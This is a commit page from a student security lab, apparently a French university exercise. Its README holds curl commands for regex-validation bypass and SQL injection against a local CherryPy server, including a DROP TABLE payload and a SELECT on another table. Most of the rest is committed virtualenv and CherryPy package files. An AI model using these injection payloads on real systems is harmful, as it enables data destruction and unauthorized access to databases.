Skip to content
Snippets Groups Projects
Commit 19f3f331 authored by Thibault Garcia's avatar Thibault Garcia
Browse files

Q1 - Q3

parent edd16a12
Branches
No related tags found
No related merge requests found
Showing
with 989 additions and 15 deletions
File added
...@@ -2,41 +2,64 @@ ...@@ -2,41 +2,64 @@
## Binome ## Binome
Nom, Prénom, email: ___ Garcia, Thibault, thibault.garcia.etu@univ-lille.fr
Nom, Prénom, email: ___ Dinel, Quentin, quentin.dinel.etu@univ-lille.fr
## Question 1 ## Question 1
* Quel est ce mécanisme? - Quel est ce mécanisme?
Il s'agit du "regex", court pour Regular Expression. Il permet de filtrer une chaine de charactères selon un certain motif. Dans le cas du site web, on vérifie si la chaine entrée
contient seulement des chiffres et des lettres.
- Est-il efficace? Pourquoi?
On pourrait croire que c'est un outil efficace mais il est utile seulement dans le cas d'une entrée par l'utilisateur via un formulaire, ce qui ne protège pas la base de données de
requêtes directs via curl par exemple.
## Question 2 : Contournement du mécanisme de validation
- Votre commande curl
curl 'http://localhost:8080/' --data-raw 'chaine=%26&submit=OK'
* Est-il efficace? Pourquoi? Cette commande ajoute le symbole esperluette (code %26 d'un URLEncoding) dans la base de données alors qu'il ne devrait pas.
## Question 2 ## Question 3 : Exploitation de la vulnérabilité
* Votre commande curl - Commande curl pour ajouter une chaine avec un who custom
curl 'http://localhost:8080/' --data-raw 'chaine=hello%27%2C+%27tibo%27%29%3B+--+&submit=OK'
Requête traitée :
INSERT INTO chaines (txt,who) VALUES('hello', 'tibo'); -- ','127.0.0.1')
Les "--" après le point virgule transforme en commentaire SQL le reste de la requete, ne la traitant pas.
## Question 3 - Votre commande curl pour effacer la table
curl 'http://localhost:8080/' --data-raw 'chaine=%27%2C+%27%27%29%3B+DROP+TABLE+Test%3B+--+&submit=OK'
* Votre commande curl pour effacer la table INSERT INTO chaines (txt,who) VALUES('', ''); DROP TABLE Test; -- ','127.0.0.1')
* Expliquez comment obtenir des informations sur une autre table - Expliquez comment obtenir des informations sur une autre table
Il suffit d'ajouter une requete SELECT dans le chaine du curl demandant des informations sur l'autre table. Imaginons une autre tables "mdp" alors on écrit :
' SELECT \* from mdp;
## Question 4 curl 'http://localhost:8080/' --data-raw 'chaine=%27%2C+%27%27%29%3B+SELECT+\*+from+Persons%3B+--+&submit=OK'
----------+--------------+------+-----+---------+-------+
| PersonID | int | YES | | NULL | |
| LastName | varchar(255) | YES | | NULL | |
| FirstName | varchar(255) | YES | | NULL | |
| Address | varchar(255) | YES | | NULL | |
| City
## Question 4 : Corriger l'application vulnérable
Rendre un fichier server_correct.py avec la correction de la faille de Rendre un fichier server_correct.py avec la correction de la faille de
sécurité. Expliquez comment vous avez corrigé la faille. sécurité. Expliquez comment vous avez corrigé la faille.
## Question 5 ## Question 5
* Commande curl pour afficher une fenetre de dialog. - Commande curl pour afficher une fenetre de dialog.
* Commande curl pour lire les cookies - Commande curl pour lire les cookies
## Question 6 ## Question 6
Rendre un fichier server_xss.py avec la correction de la Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi. faille. Expliquez la demarche que vous avez suivi.
<#
.Synopsis
Activate a Python virtual environment for the current PowerShell session.
.Description
Pushes the python executable for a virtual environment to the front of the
$Env:PATH environment variable and sets the prompt to signify that you are
in a Python virtual environment. Makes use of the command line switches as
well as the `pyvenv.cfg` file values present in the virtual environment.
.Parameter VenvDir
Path to the directory that contains the virtual environment to activate. The
default value for this is the parent of the directory that the Activate.ps1
script is located within.
.Parameter Prompt
The prompt prefix to display when this virtual environment is activated. By
default, this prompt is the name of the virtual environment folder (VenvDir)
surrounded by parentheses and followed by a single space (ie. '(.venv) ').
.Example
Activate.ps1
Activates the Python virtual environment that contains the Activate.ps1 script.
.Example
Activate.ps1 -Verbose
Activates the Python virtual environment that contains the Activate.ps1 script,
and shows extra information about the activation as it executes.
.Example
Activate.ps1 -VenvDir C:\Users\MyUser\Common\.venv
Activates the Python virtual environment located in the specified location.
.Example
Activate.ps1 -Prompt "MyPython"
Activates the Python virtual environment that contains the Activate.ps1 script,
and prefixes the current prompt with the specified string (surrounded in
parentheses) while the virtual environment is active.
.Notes
On Windows, it may be required to enable this Activate.ps1 script by setting the
execution policy for the user. You can do this by issuing the following PowerShell
command:
PS C:\> Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
For more information on Execution Policies:
https://go.microsoft.com/fwlink/?LinkID=135170
#>
Param(
[Parameter(Mandatory = $false)]
[String]
$VenvDir,
[Parameter(Mandatory = $false)]
[String]
$Prompt
)
<# Function declarations --------------------------------------------------- #>
<#
.Synopsis
Remove all shell session elements added by the Activate script, including the
addition of the virtual environment's Python executable from the beginning of
the PATH variable.
.Parameter NonDestructive
If present, do not remove this function from the global namespace for the
session.
#>
function global:deactivate ([switch]$NonDestructive) {
# Revert to original values
# The prior prompt:
if (Test-Path -Path Function:_OLD_VIRTUAL_PROMPT) {
Copy-Item -Path Function:_OLD_VIRTUAL_PROMPT -Destination Function:prompt
Remove-Item -Path Function:_OLD_VIRTUAL_PROMPT
}
# The prior PYTHONHOME:
if (Test-Path -Path Env:_OLD_VIRTUAL_PYTHONHOME) {
Copy-Item -Path Env:_OLD_VIRTUAL_PYTHONHOME -Destination Env:PYTHONHOME
Remove-Item -Path Env:_OLD_VIRTUAL_PYTHONHOME
}
# The prior PATH:
if (Test-Path -Path Env:_OLD_VIRTUAL_PATH) {
Copy-Item -Path Env:_OLD_VIRTUAL_PATH -Destination Env:PATH
Remove-Item -Path Env:_OLD_VIRTUAL_PATH
}
# Just remove the VIRTUAL_ENV altogether:
if (Test-Path -Path Env:VIRTUAL_ENV) {
Remove-Item -Path env:VIRTUAL_ENV
}
# Just remove the _PYTHON_VENV_PROMPT_PREFIX altogether:
if (Get-Variable -Name "_PYTHON_VENV_PROMPT_PREFIX" -ErrorAction SilentlyContinue) {
Remove-Variable -Name _PYTHON_VENV_PROMPT_PREFIX -Scope Global -Force
}
# Leave deactivate function in the global namespace if requested:
if (-not $NonDestructive) {
Remove-Item -Path function:deactivate
}
}
<#
.Description
Get-PyVenvConfig parses the values from the pyvenv.cfg file located in the
given folder, and returns them in a map.
For each line in the pyvenv.cfg file, if that line can be parsed into exactly
two strings separated by `=` (with any amount of whitespace surrounding the =)
then it is considered a `key = value` line. The left hand string is the key,
the right hand is the value.
If the value starts with a `'` or a `"` then the first and last character is
stripped from the value before being captured.
.Parameter ConfigDir
Path to the directory that contains the `pyvenv.cfg` file.
#>
function Get-PyVenvConfig(
[String]
$ConfigDir
) {
Write-Verbose "Given ConfigDir=$ConfigDir, obtain values in pyvenv.cfg"
# Ensure the file exists, and issue a warning if it doesn't (but still allow the function to continue).
$pyvenvConfigPath = Join-Path -Resolve -Path $ConfigDir -ChildPath 'pyvenv.cfg' -ErrorAction Continue
# An empty map will be returned if no config file is found.
$pyvenvConfig = @{ }
if ($pyvenvConfigPath) {
Write-Verbose "File exists, parse `key = value` lines"
$pyvenvConfigContent = Get-Content -Path $pyvenvConfigPath
$pyvenvConfigContent | ForEach-Object {
$keyval = $PSItem -split "\s*=\s*", 2
if ($keyval[0] -and $keyval[1]) {
$val = $keyval[1]
# Remove extraneous quotations around a string value.
if ("'""".Contains($val.Substring(0, 1))) {
$val = $val.Substring(1, $val.Length - 2)
}
$pyvenvConfig[$keyval[0]] = $val
Write-Verbose "Adding Key: '$($keyval[0])'='$val'"
}
}
}
return $pyvenvConfig
}
<# Begin Activate script --------------------------------------------------- #>
# Determine the containing directory of this script
$VenvExecPath = Split-Path -Parent $MyInvocation.MyCommand.Definition
$VenvExecDir = Get-Item -Path $VenvExecPath
Write-Verbose "Activation script is located in path: '$VenvExecPath'"
Write-Verbose "VenvExecDir Fullname: '$($VenvExecDir.FullName)"
Write-Verbose "VenvExecDir Name: '$($VenvExecDir.Name)"
# Set values required in priority: CmdLine, ConfigFile, Default
# First, get the location of the virtual environment, it might not be
# VenvExecDir if specified on the command line.
if ($VenvDir) {
Write-Verbose "VenvDir given as parameter, using '$VenvDir' to determine values"
}
else {
Write-Verbose "VenvDir not given as a parameter, using parent directory name as VenvDir."
$VenvDir = $VenvExecDir.Parent.FullName.TrimEnd("\\/")
Write-Verbose "VenvDir=$VenvDir"
}
# Next, read the `pyvenv.cfg` file to determine any required value such
# as `prompt`.
$pyvenvCfg = Get-PyVenvConfig -ConfigDir $VenvDir
# Next, set the prompt from the command line, or the config file, or
# just use the name of the virtual environment folder.
if ($Prompt) {
Write-Verbose "Prompt specified as argument, using '$Prompt'"
}
else {
Write-Verbose "Prompt not specified as argument to script, checking pyvenv.cfg value"
if ($pyvenvCfg -and $pyvenvCfg['prompt']) {
Write-Verbose " Setting based on value in pyvenv.cfg='$($pyvenvCfg['prompt'])'"
$Prompt = $pyvenvCfg['prompt'];
}
else {
Write-Verbose " Setting prompt based on parent's directory's name. (Is the directory name passed to venv module when creating the virutal environment)"
Write-Verbose " Got leaf-name of $VenvDir='$(Split-Path -Path $venvDir -Leaf)'"
$Prompt = Split-Path -Path $venvDir -Leaf
}
}
Write-Verbose "Prompt = '$Prompt'"
Write-Verbose "VenvDir='$VenvDir'"
# Deactivate any currently active virtual environment, but leave the
# deactivate function in place.
deactivate -nondestructive
# Now set the environment variable VIRTUAL_ENV, used by many tools to determine
# that there is an activated venv.
$env:VIRTUAL_ENV = $VenvDir
if (-not $Env:VIRTUAL_ENV_DISABLE_PROMPT) {
Write-Verbose "Setting prompt to '$Prompt'"
# Set the prompt to include the env name
# Make sure _OLD_VIRTUAL_PROMPT is global
function global:_OLD_VIRTUAL_PROMPT { "" }
Copy-Item -Path function:prompt -Destination function:_OLD_VIRTUAL_PROMPT
New-Variable -Name _PYTHON_VENV_PROMPT_PREFIX -Description "Python virtual environment prompt prefix" -Scope Global -Option ReadOnly -Visibility Public -Value $Prompt
function global:prompt {
Write-Host -NoNewline -ForegroundColor Green "($_PYTHON_VENV_PROMPT_PREFIX) "
_OLD_VIRTUAL_PROMPT
}
}
# Clear PYTHONHOME
if (Test-Path -Path Env:PYTHONHOME) {
Copy-Item -Path Env:PYTHONHOME -Destination Env:_OLD_VIRTUAL_PYTHONHOME
Remove-Item -Path Env:PYTHONHOME
}
# Add the venv to the PATH
Copy-Item -Path Env:PATH -Destination Env:_OLD_VIRTUAL_PATH
$Env:PATH = "$VenvExecDir$([System.IO.Path]::PathSeparator)$Env:PATH"
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
deactivate () {
# reset old environment variables
if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
PATH="${_OLD_VIRTUAL_PATH:-}"
export PATH
unset _OLD_VIRTUAL_PATH
fi
if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
export PYTHONHOME
unset _OLD_VIRTUAL_PYTHONHOME
fi
# This should detect bash and zsh, which have a hash command that must
# be called to get it to forget past commands. Without forgetting
# past commands the $PATH changes we made may not be respected
if [ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}" ] ; then
hash -r
fi
if [ -n "${_OLD_VIRTUAL_PS1:-}" ] ; then
PS1="${_OLD_VIRTUAL_PS1:-}"
export PS1
unset _OLD_VIRTUAL_PS1
fi
unset VIRTUAL_ENV
if [ ! "${1:-}" = "nondestructive" ] ; then
# Self destruct!
unset -f deactivate
fi
}
# unset irrelevant variables
deactivate nondestructive
VIRTUAL_ENV="/home/tibo/workspace/M1/ISI/isi-tp2-injection/server"
export VIRTUAL_ENV
_OLD_VIRTUAL_PATH="$PATH"
PATH="$VIRTUAL_ENV/bin:$PATH"
export PATH
# unset PYTHONHOME if set
# this will fail if PYTHONHOME is set to the empty string (which is bad anyway)
# could use `if (set -u; : $PYTHONHOME) ;` in bash
if [ -n "${PYTHONHOME:-}" ] ; then
_OLD_VIRTUAL_PYTHONHOME="${PYTHONHOME:-}"
unset PYTHONHOME
fi
if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT:-}" ] ; then
_OLD_VIRTUAL_PS1="${PS1:-}"
if [ "x(server) " != x ] ; then
PS1="(server) ${PS1:-}"
else
if [ "`basename \"$VIRTUAL_ENV\"`" = "__" ] ; then
# special case for Aspen magic directories
# see https://aspen.io/
PS1="[`basename \`dirname \"$VIRTUAL_ENV\"\``] $PS1"
else
PS1="(`basename \"$VIRTUAL_ENV\"`)$PS1"
fi
fi
export PS1
fi
# This should detect bash and zsh, which have a hash command that must
# be called to get it to forget past commands. Without forgetting
# past commands the $PATH changes we made may not be respected
if [ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}" ] ; then
hash -r
fi
# This file must be used with "source bin/activate.csh" *from csh*.
# You cannot run it directly.
# Created by Davide Di Blasi <davidedb@gmail.com>.
# Ported to Python 3.3 venv by Andrew Svetlov <andrew.svetlov@gmail.com>
alias deactivate 'test $?_OLD_VIRTUAL_PATH != 0 && setenv PATH "$_OLD_VIRTUAL_PATH" && unset _OLD_VIRTUAL_PATH; rehash; test $?_OLD_VIRTUAL_PROMPT != 0 && set prompt="$_OLD_VIRTUAL_PROMPT" && unset _OLD_VIRTUAL_PROMPT; unsetenv VIRTUAL_ENV; test "\!:*" != "nondestructive" && unalias deactivate'
# Unset irrelevant variables.
deactivate nondestructive
setenv VIRTUAL_ENV "/home/tibo/workspace/M1/ISI/isi-tp2-injection/server"
set _OLD_VIRTUAL_PATH="$PATH"
setenv PATH "$VIRTUAL_ENV/bin:$PATH"
set _OLD_VIRTUAL_PROMPT="$prompt"
if (! "$?VIRTUAL_ENV_DISABLE_PROMPT") then
if ("server" != "") then
set env_name = "server"
else
if (`basename "VIRTUAL_ENV"` == "__") then
# special case for Aspen magic directories
# see https://aspen.io/
set env_name = `basename \`dirname "$VIRTUAL_ENV"\``
else
set env_name = `basename "$VIRTUAL_ENV"`
endif
endif
set prompt = "[$env_name] $prompt"
unset env_name
endif
alias pydoc python -m pydoc
rehash
# This file must be used with ". bin/activate.fish" *from fish* (http://fishshell.org)
# you cannot run it directly
function deactivate -d "Exit virtualenv and return to normal shell environment"
# reset old environment variables
if test -n "$_OLD_VIRTUAL_PATH"
set -gx PATH $_OLD_VIRTUAL_PATH
set -e _OLD_VIRTUAL_PATH
end
if test -n "$_OLD_VIRTUAL_PYTHONHOME"
set -gx PYTHONHOME $_OLD_VIRTUAL_PYTHONHOME
set -e _OLD_VIRTUAL_PYTHONHOME
end
if test -n "$_OLD_FISH_PROMPT_OVERRIDE"
functions -e fish_prompt
set -e _OLD_FISH_PROMPT_OVERRIDE
functions -c _old_fish_prompt fish_prompt
functions -e _old_fish_prompt
end
set -e VIRTUAL_ENV
if test "$argv[1]" != "nondestructive"
# Self destruct!
functions -e deactivate
end
end
# unset irrelevant variables
deactivate nondestructive
set -gx VIRTUAL_ENV "/home/tibo/workspace/M1/ISI/isi-tp2-injection/server"
set -gx _OLD_VIRTUAL_PATH $PATH
set -gx PATH "$VIRTUAL_ENV/bin" $PATH
# unset PYTHONHOME if set
if set -q PYTHONHOME
set -gx _OLD_VIRTUAL_PYTHONHOME $PYTHONHOME
set -e PYTHONHOME
end
if test -z "$VIRTUAL_ENV_DISABLE_PROMPT"
# fish uses a function instead of an env var to generate the prompt.
# save the current fish_prompt function as the function _old_fish_prompt
functions -c fish_prompt _old_fish_prompt
# with the original prompt function renamed, we can override with our own.
function fish_prompt
# Save the return status of the last command
set -l old_status $status
# Prompt override?
if test -n "(server) "
printf "%s%s" "(server) " (set_color normal)
else
# ...Otherwise, prepend env
set -l _checkbase (basename "$VIRTUAL_ENV")
if test $_checkbase = "__"
# special case for Aspen magic directories
# see https://aspen.io/
printf "%s[%s]%s " (set_color -b blue white) (basename (dirname "$VIRTUAL_ENV")) (set_color normal)
else
printf "%s(%s)%s" (set_color -b blue white) (basename "$VIRTUAL_ENV") (set_color normal)
end
end
# Restore the return status of the previous command.
echo "exit $old_status" | .
_old_fish_prompt
end
set -gx _OLD_FISH_PROMPT_OVERRIDE "$VIRTUAL_ENV"
end
#!/home/tibo/workspace/M1/ISI/isi-tp2-injection/server/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from tempora import calculate_prorated_values
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(calculate_prorated_values())
#!/home/tibo/workspace/M1/ISI/isi-tp2-injection/server/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from cheroot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
#!/home/tibo/workspace/M1/ISI/isi-tp2-injection/server/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from cherrypy.__main__ import run
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(run())
#!/home/tibo/workspace/M1/ISI/isi-tp2-injection/server/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from pip._internal.cli.main import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
#!/home/tibo/workspace/M1/ISI/isi-tp2-injection/server/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from pip._internal.cli.main import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
#!/home/tibo/workspace/M1/ISI/isi-tp2-injection/server/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from pip._internal.cli.main import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
python3
\ No newline at end of file
/usr/bin/python3
\ No newline at end of file
pip
Copyright © 2004-2019, CherryPy Team (team@cherrypy.org)
All rights reserved.
* * *
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of CherryPy nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Metadata-Version: 2.1
Name: CherryPy
Version: 18.6.1
Summary: Object-Oriented HTTP framework
Home-page: https://www.cherrypy.org
Author: CherryPy Team
Author-email: team@cherrypy.org
License: UNKNOWN
Project-URL: CI: AppVeyor, https://ci.appveyor.com/project/cherrypy/cherrypy
Project-URL: CI: Travis, https://travis-ci.org/cherrypy/cherrypy
Project-URL: CI: Circle, https://circleci.com/gh/cherrypy/cherrypy
Project-URL: Docs: RTD, https://docs.cherrypy.org
Project-URL: GitHub: issues, https://github.com/cherrypy/cherrypy/issues
Project-URL: GitHub: repo, https://github.com/cherrypy/cherrypy
Project-URL: Tidelift: funding, https://tidelift.com/subscription/pkg/pypi-cherrypy?utm_source=pypi-cherrypy&utm_medium=referral&utm_campaign=pypi
Platform: UNKNOWN
Classifier: Development Status :: 5 - Production/Stable
Classifier: Environment :: Web Environment
Classifier: Intended Audience :: Developers
Classifier: License :: Freely Distributable
Classifier: Operating System :: OS Independent
Classifier: Framework :: CherryPy
Classifier: License :: OSI Approved :: BSD License
Classifier: Programming Language :: Python
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.5
Classifier: Programming Language :: Python :: 3.6
Classifier: Programming Language :: Python :: 3.7
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: Implementation
Classifier: Programming Language :: Python :: Implementation :: CPython
Classifier: Programming Language :: Python :: Implementation :: Jython
Classifier: Programming Language :: Python :: Implementation :: PyPy
Classifier: Topic :: Internet :: WWW/HTTP
Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content
Classifier: Topic :: Internet :: WWW/HTTP :: HTTP Servers
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI :: Application
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI :: Server
Classifier: Topic :: Software Development :: Libraries :: Application Frameworks
Requires-Python: >=3.5
License-File: LICENSE.md
Requires-Dist: cheroot (>=8.2.1)
Requires-Dist: portend (>=2.1.1)
Requires-Dist: more-itertools
Requires-Dist: zc.lockfile
Requires-Dist: jaraco.collections
Requires-Dist: pywin32 (>=227) ; sys_platform == "win32" and implementation_name == "cpython" and python_version < "3.10"
Provides-Extra: docs
Requires-Dist: sphinx ; extra == 'docs'
Requires-Dist: docutils ; extra == 'docs'
Requires-Dist: alabaster ; extra == 'docs'
Requires-Dist: sphinxcontrib-apidoc (>=0.3.0) ; extra == 'docs'
Requires-Dist: rst.linker (>=1.11) ; extra == 'docs'
Requires-Dist: jaraco.packaging (>=3.2) ; extra == 'docs'
Requires-Dist: setuptools ; extra == 'docs'
Provides-Extra: json
Requires-Dist: simplejson ; extra == 'json'
Provides-Extra: memcached_session
Requires-Dist: python-memcached (>=1.58) ; extra == 'memcached_session'
Provides-Extra: routes_dispatcher
Requires-Dist: routes (>=2.3.1) ; extra == 'routes_dispatcher'
Provides-Extra: ssl
Requires-Dist: pyOpenSSL ; extra == 'ssl'
Provides-Extra: testing
Requires-Dist: coverage ; extra == 'testing'
Requires-Dist: codecov ; extra == 'testing'
Requires-Dist: objgraph ; extra == 'testing'
Requires-Dist: pytest (>=5.3.5) ; extra == 'testing'
Requires-Dist: pytest-cov ; extra == 'testing'
Requires-Dist: pytest-forked ; extra == 'testing'
Requires-Dist: pytest-sugar ; extra == 'testing'
Requires-Dist: path.py ; extra == 'testing'
Requires-Dist: requests-toolbelt ; extra == 'testing'
Requires-Dist: pytest-services (>=2) ; extra == 'testing'
Requires-Dist: setuptools ; extra == 'testing'
Provides-Extra: xcgi
Requires-Dist: flup ; extra == 'xcgi'
.. image:: https://img.shields.io/pypi/v/cherrypy.svg
:target: https://pypi.org/project/cherrypy
.. image:: https://tidelift.com/badges/package/pypi/CherryPy
:target: https://tidelift.com/subscription/pkg/pypi-cherrypy?utm_source=pypi-cherrypy&utm_medium=readme
:alt: CherryPy is available as part of the Tidelift Subscription
.. image:: https://img.shields.io/badge/Python%203%20only-pip%20install%20%22%3E%3D18.0.0%22-%234da45e.svg
:target: https://python3statement.org/
.. image:: https://img.shields.io/badge/Python%203%20and%202-pip%20install%20%22%3C18.0.0%22-%2349a7e9.svg
:target: https://python3statement.org/#sections40-timeline
.. image:: https://readthedocs.org/projects/cherrypy/badge/?version=latest
:target: https://docs.cherrypy.org/en/latest/?badge=latest
.. image:: https://img.shields.io/badge/StackOverflow-CherryPy-blue.svg
:target: https://stackoverflow.com/questions/tagged/cheroot+or+cherrypy
.. image:: https://img.shields.io/badge/Mailing%20list-cherrypy--users-orange.svg
:target: https://groups.google.com/group/cherrypy-users
.. image:: https://img.shields.io/gitter/room/cherrypy/cherrypy.svg
:target: https://gitter.im/cherrypy/cherrypy
.. image:: https://img.shields.io/travis/cherrypy/cherrypy/master.svg?label=Linux%20build%20%40%20Travis%20CI
:target: https://travis-ci.org/cherrypy/cherrypy
.. image:: https://circleci.com/gh/cherrypy/cherrypy/tree/master.svg?style=svg
:target: https://circleci.com/gh/cherrypy/cherrypy/tree/master
.. image:: https://img.shields.io/appveyor/ci/CherryPy/cherrypy/master.svg?label=Windows%20build%20%40%20Appveyor
:target: https://ci.appveyor.com/project/CherryPy/cherrypy/branch/master
.. image:: https://img.shields.io/badge/license-BSD-blue.svg?maxAge=3600
:target: https://pypi.org/project/cheroot
.. image:: https://img.shields.io/pypi/pyversions/cherrypy.svg
:target: https://pypi.org/project/cherrypy
.. image:: https://badges.github.io/stability-badges/dist/stable.svg
:target: https://github.com/badges/stability-badges
:alt: stable
.. image:: https://api.codacy.com/project/badge/Grade/48b11060b5d249dc86e52dac2be2c715
:target: https://www.codacy.com/app/webknjaz/cherrypy-upstream?utm_source=github.com&utm_medium=referral&utm_content=cherrypy/cherrypy&utm_campaign=Badge_Grade
.. image:: https://codecov.io/gh/cherrypy/cherrypy/branch/master/graph/badge.svg
:target: https://codecov.io/gh/cherrypy/cherrypy
:alt: codecov
Welcome to the GitHub repository of `CherryPy <https://cherrypy.org/>`_!
CherryPy is a pythonic, object-oriented HTTP framework.
1. It allows building web applications in much the same way one would
build any other object-oriented program.
2. This design results in more concise and readable code developed faster.
It's all just properties and methods.
3. It is now more than ten years old and has proven fast and very
stable.
4. It is being used in production by many sites, from the simplest to
the most demanding.
5. And perhaps most importantly, it is fun to work with :-)
Here's how easy it is to write "Hello World" in CherryPy:
.. code:: python
import cherrypy
class HelloWorld(object):
@cherrypy.expose
def index(self):
return "Hello World!"
cherrypy.quickstart(HelloWorld())
And it continues to work that intuitively when systems grow, allowing
for the Python object model to be dynamically presented as a website
and/or API.
While CherryPy is one of the easiest and most intuitive frameworks out
there, the prerequisite for understanding the `CherryPy
documentation <https://docs.cherrypy.org/en/latest/>`_ is that you have
a general understanding of Python and web development.
Additionally:
- Tutorials are included in the repository:
https://github.com/cherrypy/cherrypy/tree/master/cherrypy/tutorial
- A general wiki at:
https://github.com/cherrypy/cherrypy/wiki
If the docs are insufficient to address your needs, the CherryPy
community has several `avenues for support
<https://docs.cherrypy.org/en/latest/support.html>`_.
For Enterprise
--------------
CherryPy is available as part of the Tidelift Subscription.
The CherryPy maintainers and the maintainers of thousands of other packages
are working with Tidelift to deliver one enterprise subscription that covers
all of the open source you use.
`Learn more <https://tidelift.com/subscription/pkg/pypi-cherrypy?utm_source=pypi-cherrypy&utm_medium=referral&utm_campaign=github>`_.
Contributing
------------
Please follow the `contribution guidelines
<https://docs.cherrypy.org/en/latest/contribute.html>`_.
And by all means, absorb the `Zen of
CherryPy <https://github.com/cherrypy/cherrypy/wiki/The-Zen-of-CherryPy>`_.
../../../bin/cherryd,sha256=DO7DNzFYnKU-ksFd-KOvChS9YSPBdNt1PfIW0D0C8zY,262
CherryPy-18.6.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
CherryPy-18.6.1.dist-info/LICENSE.md,sha256=bH-Q1LfG4IGE-IrBJ1C5TWvyVO7jRaGNJheHF75cJ9I,1511
CherryPy-18.6.1.dist-info/METADATA,sha256=h0lVZbObh6CYPaaqhyKDCpWZrhDXhsagqKgCLjwAzFA,8445
CherryPy-18.6.1.dist-info/RECORD,,
CherryPy-18.6.1.dist-info/WHEEL,sha256=Z-nyYpwrcSqxfdux5Mbn_DQ525iP7J2DG3JgGvOYyTQ,110
CherryPy-18.6.1.dist-info/entry_points.txt,sha256=oD4d44eul1o3w3KNRliN2Qg0_6QtXZEyxYUIw03BeXw,51
CherryPy-18.6.1.dist-info/top_level.txt,sha256=mOBE-r7Ej1kFrXNKlOj3yY9QfGA6Xkz6vZK7VNJF3YE,9
cherrypy/__init__.py,sha256=BHFq6fz2ILLDGq7OCALzmX8MaxPGI6AiR-fYLJo1kIw,11285
cherrypy/__main__.py,sha256=gb89ZhhQ1kjYvU61axGuZt5twA4q3kfBa3WKrPT6D2k,107
cherrypy/__pycache__/__init__.cpython-38.pyc,,
cherrypy/__pycache__/__main__.cpython-38.pyc,,
cherrypy/__pycache__/_cpchecker.cpython-38.pyc,,
cherrypy/__pycache__/_cpcompat.cpython-38.pyc,,
cherrypy/__pycache__/_cpconfig.cpython-38.pyc,,
cherrypy/__pycache__/_cpdispatch.cpython-38.pyc,,
cherrypy/__pycache__/_cperror.cpython-38.pyc,,
cherrypy/__pycache__/_cplogging.cpython-38.pyc,,
cherrypy/__pycache__/_cpmodpy.cpython-38.pyc,,
cherrypy/__pycache__/_cpnative_server.cpython-38.pyc,,
cherrypy/__pycache__/_cpreqbody.cpython-38.pyc,,
cherrypy/__pycache__/_cprequest.cpython-38.pyc,,
cherrypy/__pycache__/_cpserver.cpython-38.pyc,,
cherrypy/__pycache__/_cptools.cpython-38.pyc,,
cherrypy/__pycache__/_cptree.cpython-38.pyc,,
cherrypy/__pycache__/_cpwsgi.cpython-38.pyc,,
cherrypy/__pycache__/_cpwsgi_server.cpython-38.pyc,,
cherrypy/__pycache__/_helper.cpython-38.pyc,,
cherrypy/__pycache__/_json.cpython-38.pyc,,
cherrypy/__pycache__/daemon.cpython-38.pyc,,
cherrypy/_cpchecker.py,sha256=aAZfQTmW7_f0MfKZmmaHKs_7IjeOi8j-voeDmSbLEA0,14566
cherrypy/_cpcompat.py,sha256=2gZtFj0h6RRGlkY-R6WoEl-S8BBSIwCeuj7F2Tf3mU0,1992
cherrypy/_cpconfig.py,sha256=abftUSXmOWoqpak3VHOR50XBBo6wxy8qngz5VmsRXDQ,9647
